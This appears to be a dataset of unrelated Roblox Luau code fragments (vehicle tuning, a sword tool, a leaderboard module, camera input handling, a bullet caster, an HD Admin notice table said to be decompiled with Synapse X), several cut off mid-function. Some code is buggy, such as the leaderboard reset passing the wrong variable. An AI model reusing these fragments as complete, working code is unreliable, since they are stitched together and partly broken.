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-- warn(">>>>>>>>>>>>>>> Develop:",id)
|
script.Parent.Activated:Connect(function()
|
--Optional if you want your code to have an expiration
|
local date = os.date("*t", os.time())
|
--[[Drivetrain]]
|
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 30 -- 1 - 100%
Tune.RDiffLockThres = 60 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--For Omega Rainbow Katana thumbnail to display a lot of particles.
|
for i, v in pairs(Handle:GetChildren()) do
if v:IsA("ParticleEmitter") then
v.Rate = 20
end
end
Tool.Grip = Grips.Up
Tool.Enabled = true
function IsTeamMate(Player1, Player2)
return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function Blow(Hit)
if not Tool:GetAttribute("CanDamage") then
return
end
if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then
return
end
local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")
if not RightArm then
return
end
local RightGrip = RightArm:FindFirstChild("RightGrip")
if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
return
end
local character = Hit.Parent
if character == Character then
return
end
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid or humanoid.Health == 0 then
return
end
local player = Players:GetPlayerFromCharacter(character)
if player and (player == Player or IsTeamMate(Player, player)) then
return
end
UntagHumanoid(humanoid)
TagHumanoid(humanoid, Player)
Tool:SetAttribute("CanDamage", false)
humanoid:TakeDamage(Damage)
wait(0.5) -- Cool down between the damages
Tool:SetAttribute("CanDamage", true)
end
function Attack()
Damage = DamageValues.SlashDamage
Sounds.Slash:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Slash"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Slash")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
end
function Lunge()
Damage = DamageValues.LungeDamage
Sounds.Lunge:Play()
if Humanoid then
if Humanoid.RigType == Enum.HumanoidRigType.R6 then
local Anim = Instance.new("StringValue")
Anim.Name = "toolanim"
Anim.Value = "Lunge"
Anim.Parent = Tool
elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then
local Anim = Tool:FindFirstChild("R15Lunge")
if Anim then
local Track = Humanoid:LoadAnimation(Anim)
Track:Play(0)
end
end
end
--[[
if CheckIfAlive() then
local Force = Instance.new("BodyVelocity")
Force.velocity = Vector3.new(0, 10, 0)
Force.maxForce = Vector3.new(0, 4000, 0)
Debris:AddItem(Force, 0.4)
Force.Parent = Torso
end
]]
wait(0.2)
Tool.Grip = Grips.Out
wait(0.6)
Tool.Grip = Grips.Up
Damage = DamageValues.SlashDamage
end
Tool.Enabled = true
LastAttack = 0
function Activated()
if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
return
end
Tool.Enabled = false
local Tick = RunService.Stepped:wait()
if (Tick - LastAttack < 0.2) then
Lunge()
else
Attack()
end
LastAttack = Tick
--wait(0.5)
Damage = DamageValues.BaseDamage
local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){
Name = "R15Slash",
AnimationId = BaseUrl .. Animations.R15Slash,
Parent = Tool
})
local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){
Name = "R15Lunge",
AnimationId = BaseUrl .. Animations.R15Lunge,
Parent = Tool
})
Tool.Enabled = true
end
function CheckIfAlive()
return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false)
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChildOfClass("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart")
if not CheckIfAlive() then
return
end
ToolEquipped = true
Sounds.Unsheath:Play()
end
function Unequipped()
Tool.Grip = Grips.Up
ToolEquipped = false
end
Tool.Activated:Connect(Activated)
Tool.Equipped:Connect(Equipped)
Tool.Unequipped:Connect(Unequipped)
Connection = Handle.Touched:Connect(Blow)
|
--// Events
|
local L_33_ = L_7_:WaitForChild('Equipped')
local L_34_ = L_7_:WaitForChild('ShootEvent')
local L_35_ = L_7_:WaitForChild('DamageEvent')
local L_36_ = L_7_:WaitForChild('CreateOwner')
local L_37_ = L_7_:WaitForChild('Stance')
local L_38_ = L_7_:WaitForChild('HitEvent')
local L_39_ = L_7_:WaitForChild('KillEvent')
local L_40_ = L_7_:WaitForChild('AimEvent')
local L_41_ = L_7_:WaitForChild('ExploEvent')
local L_42_ = L_7_:WaitForChild('AttachEvent')
local L_43_ = L_7_:WaitForChild('ServerFXEvent')
local L_44_ = L_7_:WaitForChild('ChangeIDEvent')
|
-- Stats
|
local stats = {
{
Name = "Points",
Type = "IntValue",
DefaultValue = "0",
},
}
local function new(leaderstats)
for i, stat in pairs(stats) do
local leaderstat = Instance.new(stat.Type)
leaderstat.Name = stat.Name
leaderstat.Value = stat.DefaultValue
leaderstat.Parent = leaderstats
end
end
function LeaderboardManager.new(player)
local leaderstats = Instance.new("Folder")
leaderstats.Name = "CustomLeaderstats"
leaderstats.Parent = player
new(leaderstats)
end
function LeaderboardManager:getStat(player, stat)
local leaderstats = player:FindFirstChild("CustomLeaderstats")
if not leaderstats then return false end
if leaderstats then
return leaderstats:FindFirstChild(stat)
end
end
function LeaderboardManager:setStat(player, stat, value)
local stat = LeaderboardManager:getStat(player, stat)
if stat then
stat.Value = value
end
end
function LeaderboardManager:incrementStat(player, stat, value)
if (not value) then value = 1 end
local stat = LeaderboardManager:getStat(player, stat)
if stat then
stat.Value = stat.Value + value
end
end
function LeaderboardManager:decrementStat(player, stat, value)
if (not value) then value = 1 end
local stat = LeaderboardManager:getStat(player, stat)
if stat then
stat.Value = stat.Value - value
end
end
function LeaderboardManager:resetStat(player, stat)
local stat = LeaderboardManager:getStat(player, stat)
if stat then
for i, defaultStat in pairs(stats) do
if (stat == defaultStat.Name) then
stat.Value = defaultStat.DefaultValue
return
end
end
stat.Value = 0
end
end
function LeaderboardManager:resetStats(player)
local leaderstats = player:FindFirstChild("CustomLeaderstats")
if not leaderstats then return "No leaderstats found" end
local stats = leaderstats:GetChildren()
for i, stat in pairs(stats) do
LeaderboardManager:resetStat(player, stats)
end
end
return LeaderboardManager
|
--Enter the name of the model you want to go to here.
------------------------------------
|
modelname="teleporter1b"
|
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================
|
function GuiController:SetUsingGamepad(isUsingGamepad)
end -- GuiController:SetUsingGamepad()
function GuiController:UpdateSpeed()
end -- GuiController:UpdateSpeed()
function GuiController:Start(s)
speeder = s
primary = speeder.main
engine = speeder.engine
BoostSetup()
end -- GuiController:Start()
function GuiController:Stop()
end -- GuiController:Stop()
|
-- Preload assets
|
Assets = require(Tool.Assets);
ContentProvider:PreloadAsync(Support.Values(Assets));
|
--Players the animation by name for the tool holder.
|
function AnimationPlayer:PlayAnimation(AnimationName)
local Character = Tool.Parent
if Character then
local Humanoid = Character:FindFirstChildOfClass("Humanoid")
if Humanoid then
local AnimationGroup = Animationids[AnimationName]
if AnimationGroup then
local Animationid = AnimationGroup[Humanoid.RigType]
if Animationid then
local LoadedAnimation = Humanoid:LoadAnimation(GetAnimation(Animationid))
local AnimationData = AnimationSettings[AnimationName] or {}
LoadedAnimation:Play(AnimationData.FadeTime,AnimationData.Weight,AnimationData.Speed)
return LoadedAnimation
end
else
warn("Missing animation name: "..tostring(AnimationName))
end
end
end
end
return AnimationPlayer
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__HDAdminMain__1 = _G.HDAdminMain;
function v1.GetNotice(p1, p2)
return ({
WelcomeRank = { l__HDAdminMain__1.hdAdminCoreName, "Your rank is '%s'! Click to view the commands.", { "ShowSpecificPage", "Commands", "Commands" } },
WelcomeDonor = { l__HDAdminMain__1.hdAdminCoreName, "Your're a Donor! Click to view Donor Commands.", { "ShowSpecificPage", "Special", "Donor" } },
SetRank = { l__HDAdminMain__1.hdAdminCoreName, "You've been %sed to '%s'!" },
UnlockRank = { l__HDAdminMain__1.hdAdminCoreName, "You've unlocked the rank '%s'!" },
UnRank = { l__HDAdminMain__1.hdAdminCoreName, "You've been unranked!" },
ParserInvalidCommandRank = { l__HDAdminMain__1.hdAdminCoreName, "'%s' is not a valid command! Try '%srank plr %s' instead." },
ParserInvalidCommandNormal = { l__HDAdminMain__1.hdAdminCoreName, "'%s' is not a valid command!", "" },
ParserInvalidPrefix = { l__HDAdminMain__1.hdAdminCoreName, "Invalid prefix! Try '%s%s' instead." },
ParserInvalidVipServer = { l__HDAdminMain__1.hdAdminCoreName, "You cannot use '%s' in VIP Servers." },
ParserInvalidDonor = { l__HDAdminMain__1.hdAdminCoreName, "You must be a Donor to use that command!" },
ParserInvalidLoop = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to use Loop commands!" },
ParserInvalidRank = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to use '%s'" },
ParserCommandBlock = { l__HDAdminMain__1.hdAdminCoreName, "Commands are temporarily disabled.'" },
ParserInvalidRigType = { l__HDAdminMain__1.hdAdminCoreName, "%s must be %s to use that command." },
ParserPlayerRankBlocked = { l__HDAdminMain__1.hdAdminCoreName, "You do not have the permissions to use '%s' on %s!" },
ParserSpeakerRank = { l__HDAdminMain__1.hdAdminCoreName, "You %sed %s to '%s'" },
ParserSpeakerUnrank = { l__HDAdminMain__1.hdAdminCoreName, "You unranked %s" },
ParserPlrPunished = { l__HDAdminMain__1.hdAdminCoreName, "%s must be unpunished to use that command." },
ReceivedPM = { l__HDAdminMain__1.hdAdminCoreName, "You have a message from %s! Click to open." },
RemovePermRank = { l__HDAdminMain__1.hdAdminCoreName, "Successfully unranked %s!" },
BroadcastSuccessful = { l__HDAdminMain__1.hdAdminCoreName, "Broadcast successful! Your announcement will appear shortly." },
BroadcastFailed = { l__HDAdminMain__1.hdAdminCoreName, "Broadcast failed to send." },
InformPrefix = { l__HDAdminMain__1.hdAdminCoreName, "The server prefix is '%s'" },
GetSoundSuccess = { l__HDAdminMain__1.hdAdminCoreName, "The ID of the sound playing is: %s" },
GetSoundFail = { l__HDAdminMain__1.hdAdminCoreName, "No sound is playing!" },
UnderControl = { l__HDAdminMain__1.hdAdminCoreName, "You're being controlled by %s!" },
ClickToTeleport = { "Teleport", "Click to teleport to '%s' [%s]" },
BanSuccess = { l__HDAdminMain__1.hdAdminCoreName, "Successfully banned %s! Click to view the Banland.", { "ShowSpecificPage", "Admin", "Banland" } },
UnBanSuccess = { l__HDAdminMain__1.hdAdminCoreName, "Successfully unbanned %s!" },
QualifierLimitToSelf = { l__HDAdminMain__1.hdAdminCoreName, "'%ss' can only use commands on theirself!" },
QualifierLimitToOnePerson = { l__HDAdminMain__1.hdAdminCoreName, "'%ss' can only use commands on one person at a time!" },
ScaleLimit = { l__HDAdminMain__1.hdAdminCoreName, "The ScaleLimit is %s for ranks below '%s'" },
RequestsLimit = { l__HDAdminMain__1.hdAdminCoreName, "You're sending requests too fast!" },
AlertFail = { l__HDAdminMain__1.hdAdminCoreName, "Alert failed to send." },
PollFail = { l__HDAdminMain__1.hdAdminCoreName, "Poll failed to send." },
GearBlacklist = { l__HDAdminMain__1.hdAdminCoreName, "Cannot insert gear: %s. This item has been blacklisted." },
BanFailLength = { l__HDAdminMain__1.hdAdminCoreName, "%sBan Length must be greater than 0!" },
BanFailVIPServer = { l__HDAdminMain__1.hdAdminCoreName, "%s'permBan' is prohibited on VIP Servers!" },
BanFailAllServers = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to ban players from 'all servers'." },
BanFailAlreadyBanned = { l__HDAdminMain__1.hdAdminCoreName, "%splayer has already been banned!" },
BanFailPermission = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to ban %s" },
BanFailDataNotFound = { l__HDAdminMain__1.hdAdminCoreName, "%sData not found." },
RestoreDefaultSettings = { "Settings", "Successfully restored all settings to default!" },
CommandBarLocked = { l__HDAdminMain__1.hdAdminCoreName, "You do not have permission to use the commandBar%s! Rank required: '%s'" },
FollowFail = { l__HDAdminMain__1.hdAdminCoreName, "Failed to teleport. %s is not in-game." },
SaveMap1 = { l__HDAdminMain__1.hdAdminCoreName, "Saving a copy of the map..." },
SaveMap2 = { l__HDAdminMain__1.hdAdminCoreName, "Map successfully saved!" },
CommandLimit = { l__HDAdminMain__1.hdAdminCoreName, "The %s limit is %s for ranks below '%s'" },
CommandLimitPerMinute = { l__HDAdminMain__1.hdAdminCoreName, "Sending commands too fast! CommandLimitPerMinute exceeded." },
template = { l__HDAdminMain__1.hdAdminCoreName, "" }
})[p2];
end;
return v1;
|
-- This is called when settings menu is opened
|
function BaseCamera:ResetInputStates()
self.isRightMouseDown = false
self.isMiddleMouseDown = false
self:OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters
if UserInputService.TouchEnabled then
--[[menu opening was causing serious touch issues
this should disable all active touch events if
they're active when menu opens.]]
for inputObject in pairs(self.fingerTouches) do
self.fingerTouches[inputObject] = nil
end
self.dynamicTouchInput = nil
self.panBeginLook = nil
self.startPos = nil
self.lastPos = nil
self.userPanningTheCamera = false
self.startingDiff = nil
self.pinchBeginZoom = nil
self.numUnsunkTouches = 0
end
end
function BaseCamera:GetGamepadPan(name, state, input)
if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then
|
-- ====================
-- INPUTS
-- List of inputs that can be customized
-- ====================
|
Keyboard = {
Reload = Enum.KeyCode.R;
HoldDown = Enum.KeyCode.E;
Inspect = Enum.KeyCode.F;
Switch = Enum.KeyCode.V;
ToogleAim = Enum.KeyCode.Q;
Melee = Enum.KeyCode.H;
AltFire = Enum.KeyCode.C;
};
Controller = {
Fire = Enum.KeyCode.ButtonR1;
Reload = Enum.KeyCode.ButtonX;
HoldDown = Enum.KeyCode.DPadUp;
Inspect = Enum.KeyCode.DPadDown;
Switch = Enum.KeyCode.DPadRight;
ToogleAim = Enum.KeyCode.ButtonL1;
Melee = Enum.KeyCode.ButtonR3;
AltFire = Enum.KeyCode.DPadRight;
};
|
-- Listener for changes to workspace.CurrentCamera
|
function BaseCamera:OnCurrentCameraChanged()
if UserInputService.TouchEnabled then
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
local newCamera = game.Workspace.CurrentCamera
if newCamera then
self:OnViewportSizeChanged()
self.viewportSizeChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(function()
self:OnViewportSizeChanged()
end)
end
end
-- VR support additions
if self.cameraSubjectChangedConn then
self.cameraSubjectChangedConn:Disconnect()
self.cameraSubjectChangedConn = nil
end
local camera = game.Workspace.CurrentCamera
if camera then
self.cameraSubjectChangedConn = camera:GetPropertyChangedSignal("CameraSubject"):Connect(function()
self:OnNewCameraSubject()
end)
self:OnNewCameraSubject()
end
end
function BaseCamera:OnDynamicThumbstickEnabled()
if UserInputService.TouchEnabled then
self.isDynamicThumbstickEnabled = true
end
end
function BaseCamera:OnDynamicThumbstickDisabled()
self.isDynamicThumbstickEnabled = false
end
function BaseCamera:OnGameSettingsTouchMovementModeChanged()
if Players.LocalPlayer.DevTouchMovementMode == Enum.DevTouchMovementMode.UserChoice then
if UserGameSettings.TouchMovementMode.Name == "DynamicThumbstick" then
self:OnDynamicThumbstickEnabled()
else
self:OnDynamicThumbstickDisabled()
end
end
end
function BaseCamera:OnDevTouchMovementModeChanged()
if Players.LocalPlayer.DevTouchMovementMode.Name == "DynamicThumbstick" then
self:OnDynamicThumbstickEnabled()
else
self:OnGameSettingsTouchMovementModeChanged()
end
end
function BaseCamera:OnPlayerCameraPropertyChange()
-- This call forces re-evaluation of player.CameraMode and clamping to min/max distance which may have changed
self:SetCameraToSubjectDistance(self.currentSubjectDistance)
end
function BaseCamera:GetCameraHeight()
if VRService.VREnabled and not self.inFirstPerson then
return math.sin(VR_ANGLE) * self.currentSubjectDistance
end
return 0
end
function BaseCamera:InputTranslationToCameraAngleChange(translationVector, sensitivity)
local camera = game.Workspace.CurrentCamera
if camera and camera.ViewportSize.X > 0 and camera.ViewportSize.Y > 0 and (camera.ViewportSize.Y > camera.ViewportSize.X) then
-- Screen has portrait orientation, swap X and Y sensitivity
return translationVector * Vector2.new( sensitivity.Y, sensitivity.X)
end
return translationVector * sensitivity
end
function BaseCamera:Enable(enable)
if self.enabled ~= enable then
self.enabled = enable
if self.enabled then
self:ConnectInputEvents()
if FFlagPlayerScriptsBindAtPriority then
self:BindContextActions()
end
if Players.LocalPlayer.CameraMode == Enum.CameraMode.LockFirstPerson then
self.currentSubjectDistance = 0.5
if not self.inFirstPerson then
self:EnterFirstPerson()
end
end
else
self:DisconnectInputEvents()
if FFlagPlayerScriptsBindAtPriority then
self:UnbindContextActions()
end
-- Clean up additional event listeners and reset a bunch of properties
self:Cleanup()
end
end
end
function BaseCamera:GetEnabled()
return self.enabled
end
function BaseCamera:OnInputBegan(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchBegan(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Down(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Down(input, processed)
end
-- Keyboard
if not FFlagPlayerScriptsBindAtPriority then
if input.UserInputType == Enum.UserInputType.Keyboard then
self:OnKeyDown(input, processed)
end
end
end
function BaseCamera:OnInputChanged(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchChanged(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseMovement then
self:OnMouseMoved(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseWheel then
self:OnMouseWheel(input, processed)
end
end
function BaseCamera:OnInputEnded(input, processed)
if input.UserInputType == Enum.UserInputType.Touch then
self:OnTouchEnded(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
self:OnMouse2Up(input, processed)
elseif input.UserInputType == Enum.UserInputType.MouseButton3 then
self:OnMouse3Up(input, processed)
end
-- Keyboard
if not FFlagPlayerScriptsBindAtPriority then
if input.UserInputType == Enum.UserInputType.Keyboard then
self:OnKeyUp(input, processed)
end
end
end
function BaseCamera:ConnectInputEvents()
self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed)
self:OnInputBegan(input, processed)
end)
self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed)
self:OnInputChanged(input, processed)
end)
self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed)
self:OnInputEnded(input, processed)
end)
self.touchActivateConn = UserInputService.TouchTapInWorld:Connect(function(touchPos, processed)
self:OnTouchTap(touchPos)
end)
self.menuOpenedConn = GuiService.MenuOpened:connect(function()
self:ResetInputStates()
end)
self.gamepadConnectedConn = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if self.activeGamepad ~= gamepadEnum then return end
self.activeGamepad = nil
self:AssignActivateGamepad()
end)
self.gamepadDisconnectedConn = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if self.activeGamepad == nil then
self:AssignActivateGamepad()
end
end)
if not FFlagPlayerScriptsBindAtPriority then
self:BindGamepadInputActions()
end
self:AssignActivateGamepad()
self:UpdateMouseBehavior()
end
function BaseCamera:BindContextActions()
self:BindGamepadInputActions()
self:BindKeyboardInputActions()
end
function BaseCamera:AssignActivateGamepad()
local connectedGamepads = UserInputService:GetConnectedGamepads()
if #connectedGamepads > 0 then
for i = 1, #connectedGamepads do
if self.activeGamepad == nil then
self.activeGamepad = connectedGamepads[i]
elseif connectedGamepads[i].Value < self.activeGamepad.Value then
self.activeGamepad = connectedGamepads[i]
end
end
end
if self.activeGamepad == nil then -- nothing is connected, at least set up for gamepad1
self.activeGamepad = Enum.UserInputType.Gamepad1
end
end
function BaseCamera:DisconnectInputEvents()
if self.inputBeganConn then
self.inputBeganConn:Disconnect()
self.inputBeganConn = nil
end
if self.inputChangedConn then
self.inputChangedConn:Disconnect()
self.inputChangedConn = nil
end
if self.inputEndedConn then
self.inputEndedConn:Disconnect()
self.inputEndedConn = nil
end
end
function BaseCamera:UnbindContextActions()
for i = 1, #self.boundContextActions do
ContextActionService:UnbindAction(self.boundContextActions[i])
end
self.boundContextActions = {}
end
function BaseCamera:Cleanup()
if self.menuOpenedConn then
self.menuOpenedConn:Disconnect()
self.menuOpenedConn = nil
end
if self.mouseLockToggleConn then
self.mouseLockToggleConn:Disconnect()
self.mouseLockToggleConn = nil
end
if self.gamepadConnectedConn then
self.gamepadConnectedConn:Disconnect()
self.gamepadConnectedConn = nil
end
if self.gamepadDisconnectedConn then
self.gamepadDisconnectedConn:Disconnect()
self.gamepadDisconnectedConn = nil
end
if self.subjectStateChangedConn then
self.subjectStateChangedConn:Disconnect()
self.subjectStateChangedConn = nil
end
if self.viewportSizeChangedConn then
self.viewportSizeChangedConn:Disconnect()
self.viewportSizeChangedConn = nil
end
if self.touchActivateConn then
self.touchActivateConn:Disconnect()
self.touchActivateConn = nil
end
self.turningLeft = false
self.turningRight = false
self.lastCameraTransform = nil
self.lastSubjectCFrame = nil
self.userPanningTheCamera = false
self.rotateInput = Vector2.new()
self.gamepadPanningCamera = Vector2.new(0,0)
-- Reset input states
self.startPos = nil
self.lastPos = nil
self.panBeginLook = nil
self.isRightMouseDown = false
self.isMiddleMouseDown = false
self.fingerTouches = {}
self.numUnsunkTouches = 0
self.startingDiff = nil
self.pinchBeginZoom = nil
-- Unlock mouse for example if right mouse button was being held down
if UserInputService.MouseBehavior ~= Enum.MouseBehavior.LockCenter then
UserInputService.MouseBehavior = Enum.MouseBehavior.Default
end
end
|
--[[Weight and CG]]
|
Tune.Weight = 3472 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = 1 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .45 -- Front Wheel Density
Tune.RWheelDensity = .45 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- local EndToCurrent_Distance = (At - Point).Magnitude
-- local Change = (LastToCurrent_Distance - EndToCurrent_Distance)
|
LengthChanged:Fire(Origin, LastPoint, RayDir.Unit, LastToCurrent_Distance, CosmeticBulletObject)
LastPoint = At
if Hit then
--V5: WAIT! Test if the cosmetic bullet was hit!
if Hit ~= CosmeticBulletObject then
--Hit something, stop the function and fire the hit event.
RayHit:Fire(Hit, Point, Normal, Material, CosmeticBulletObject)
return
end
--If we make it here, then the bullet isn't nil, and it was the hit.(The above code exits the function)
--This will ignore the bullet. For this function, no changes need to be made.
end
DistanceTravelled = DistanceTravelled + LastToCurrent_Distance
end
--If we make it here, then we have exceeded the maximum distance.
--As part of Ver. 4, the hit function will fire here.
--V5: Changed below to return all nil values aside from the point
RayHit:Fire(nil, LastPoint, nil, nil, CosmeticBulletObject)
end
--Fire without physics
local function MainCastFireNoPhys(Origin, Direction, Velocity, Function, CosmeticBulletObject, List)
local Distance = Direction.Magnitude
local NormalizedDir = Direction / Distance
local Direction = NormalizedDir * Distance
local LastPoint = Origin
local DistanceTravelled = 0
while DistanceTravelled <= Distance do
local Delta = RunService.Heartbeat:Wait()
local Start = Origin + (NormalizedDir * DistanceTravelled)
local RayDir = NormalizedDir * Velocity * Delta
local Hit, Point, Normal, Material = Function(Start, RayDir, List)
local ExtraDistance = (Start - Point).Magnitude
local ModifiedDistance = DistanceTravelled + ExtraDistance
--Note to self: ExtraDistance will be identical to RayDir.Magnitude unless something is hit.
LengthChanged:Fire(Origin, LastPoint, RayDir.Unit, ExtraDistance, CosmeticBulletObject)
LastPoint = Point
if Hit then
--V5: WAIT! Test if the cosmetic bullet was hit!
if Hit ~= CosmeticBulletObject then
--Hit something, stop the function and fire the hit event.
RayHit:Fire(Hit, Point, Normal, Material, CosmeticBulletObject)
return
end
--If we make it here, then the bullet isn't nil, and it was the hit.(The above code exits the function)
--In this case, we will kindly ignore the bullet.
--We will also set ExtraDistance to RayDir.Magnitude (See above - These two values are identical if nothing is hit, so we need to force that behavior)
ExtraDistance = RayDir.Magnitude
end
DistanceTravelled = DistanceTravelled + ExtraDistance
end
--V5: Changed below to return all nil values aside from the point
RayHit:Fire(nil, LastPoint, nil, nil, CosmeticBulletObject)
end
--Fire a ray from origin -> direction at the specified velocity.
function Caster:Fire(Origin, Direction, Velocity, CosmeticBulletObject, NoThread)
--Note to scripters: 'self' is a variable lua creates when a method like ^ is run. It's an alias to the table that the function is part of (in this case, Caster)
assert(Caster == self, "Expected ':' not '.' calling member function Fire")
if NoThread then
if UsingPhysics() then
MainCastFire(Origin, Direction, Velocity, Cast, CosmeticBulletObject)
else
MainCastFireNoPhys(Origin, Direction, Velocity, Cast, CosmeticBulletObject)
end
else
spawn(function ()
if UsingPhysics() then
MainCastFire(Origin, Direction, Velocity, Cast, CosmeticBulletObject)
else
MainCastFireNoPhys(Origin, Direction, Velocity, Cast, CosmeticBulletObject)
end
end)
end
end
--Identical to above, but with a whitelist.
function Caster:FireWithWhitelist(Origin, Direction, Velocity, Whitelist, CosmeticBulletObject, NoThread)
--Note to scripters: 'self' is a variable lua creates when a method like ^ is run. It's an alias to the table that the function is part of (in this case, Caster)
assert(Caster == self, "Expected ':' not '.' calling member function FireWithWhitelist")
if NoThread then
if UsingPhysics() then
MainCastFire(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist)
else
MainCastFireNoPhys(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist)
end
else
spawn(function ()
if UsingPhysics() then
MainCastFire(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist)
else
MainCastFireNoPhys(Origin, Direction, Velocity, CastWhitelist, CosmeticBulletObject, Whitelist)
end
end)
end
end
--Identical to above, but with a blacklist.
function Caster:FireWithBlacklist(Origin, Direction, Velocity, Blacklist, CosmeticBulletObject, NoThread)
--Note to scripters: 'self' is a variable lua creates when a method like ^ is run. It's an alias to the table that the function is part of (in this case, Caster)
assert(Caster == self, "Expected ':' not '.' calling member function FireWithBlacklist")
if NoThread then
if UsingPhysics() then
MainCastFire(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist)
else
MainCastFireNoPhys(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist)
end
else
spawn(function ()
if UsingPhysics() then
MainCastFire(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist)
else
MainCastFireNoPhys(Origin, Direction, Velocity, CastBlacklist, CosmeticBulletObject, Blacklist)
end
end)
end
end
--Indexing stuff here.
--For those scripters new to Metatables, they allow you to fake information in tables by controlling how it works.
--This function will be run when you try to index anything of the fastcaster.
--If I were to do Caster["CoolIndex"], this function would fire, table being Caster, and Index being "CoolIndex".
--This means that I can return my own value, even if "CoolIndex" isn't valid.
--Neat, huh?
CMeta.__index = function (Table, Index)
if Table == Caster then
if Index == "IgnoreDescendantsInstance" then
return IgnoreDescendantsInstance
elseif Index == "RayHit" then
return RayHit
elseif Index == "LengthChanged" then
return LengthChanged
elseif Index == "Gravity" then
return Gravity
elseif Index == "ExtraForce" then
return ExtraForce
elseif Index == "HasPhysics" then
return UsingPhysics()
end
end
end
local IgnoreMode = false -- This is used so I can do some tricks below
--Same thing as above, just tha this fires writing to the table (e.g. Caster["CoolIndex"] = "CoolValue")
CMeta.__newindex = function (Table, Index, Value)
if IgnoreMode then return end
if Table == Caster then
if Index == "IgnoreDescendantsInstance" then
assert(Value == nil or typeof(Value) == "Instance", "Bad argument \"" .. Index .. "\" (Instance expected, got " .. typeof(Value) .. ")")
IgnoreDescendantsInstance = Value
elseif Index == "RayHit" or Index == "LengthChanged" or Index == "HasPhysics" then
error("Can't set value", 0)
elseif Index == "Gravity" then
assert(typeof(Value) == "number", "Bad argument \"" .. Index .. "\" (number expected, got " .. typeof(Value) .. ")")
Gravity = Value
elseif Index == "ExtraForce" then
